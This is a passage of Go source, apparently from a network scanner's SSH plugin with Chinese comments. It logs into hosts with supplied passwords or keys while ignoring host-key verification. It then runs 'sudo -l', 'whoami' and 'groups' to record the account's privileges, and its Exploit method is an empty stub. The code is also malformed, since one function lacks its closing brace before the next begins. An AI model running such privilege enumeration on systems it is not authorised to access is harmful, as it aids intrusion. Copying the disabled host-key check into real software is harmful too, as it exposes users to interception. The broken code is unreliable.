func (e *SSHExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
client, err := e.connectSSH(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil
}
defer client.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check")
// 检查sudo权限
sudoOutput, err := e.executeCommand(client, "sudo -l 2>/dev/null")
if err == nil && sudoOutput != "" && !strings.Contains(sudoOutput, "may not run sudo") {
base.AddOutputToResult(result, i18n.GetText("ssh_sudo_check", strings.TrimSpace(sudoOutput)))
result.Extra["sudo_privileges"] = strings.TrimSpace(sudoOutput)
}
// 检查是否为root用户
whoami, err := e.executeCommand(client, "whoami")
if err == nil && strings.TrimSpace(whoami) == "root" {
base.AddOutputToResult(result, i18n.GetText("ssh_root_access"))
result.Extra["is_root"] = true
}
// 检查用户组
groups, err := e.executeCommand(client, "groups")
if err == nil && groups != "" {
base.AddOutputToResult(result, i18n.GetText("ssh_user_groups", strings.TrimSpace(groups)))
result.Extra["groups"] = strings.TrimSpace(groups)
}
return result, nil
}
// =============================================================================
// SSH操作辅助函数
// =============================================================================
// connectSSH 使用凭据连接SSH
func (e *SSHExploiter) connectSSH(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*ssh.Client, error) {
config := &ssh.ClientConfig{
Timeout: 0, // 禁用SSH库超时使用Context控制
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
// 设置认证方法
if creds.KeyData != nil && len(creds.KeyData) > 0 {
// 密钥认证
signer, err := ssh.ParsePrivateKey(creds.KeyData)
if err != nil {
return nil, fmt.Errorf("解析私钥失败: %v", err)
}
config.User = creds.Username
config.Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
// 密码认证
config.User = creds.Username
config.Auth = []ssh.AuthMethod{ssh.Password(creds.Password)}
}
// 直接使用传入的Context它已经包含了正确的超时设置
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 使用Context控制超时
type sshResult struct {
client *ssh.Client
err error
}
resultChan := make(chan sshResult, 1)
go func() {
client, err := ssh.Dial("tcp", target, config)
resultChan <- sshResult{client: client, err: err}
}()
// 等待结果或超时
select {
case result := <-resultChan:
if result.err != nil {
return nil, fmt.Errorf("SSH连接失败: %v", result.err)
}
return result.client, nil
case <-ctx.Done():
return nil, fmt.Errorf("SSH连接超时: %v", ctx.Err())
}
}
// executeCommand 执行SSH命令
func (e *SSHExploiter) executeCommand(client *ssh.Client, command string) (string, error) {
session, err := client.NewSession()
if err != nil {
return "", err
}
defer session.Close()
output, err := session.CombinedOutput(command)
if err != nil {
return "", err
}
return string(output), nil
// Exploit 利用接口实现 - 空实现
func (e *SSHExploiter) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
// SSH插件不提供利用功能
return nil, nil
}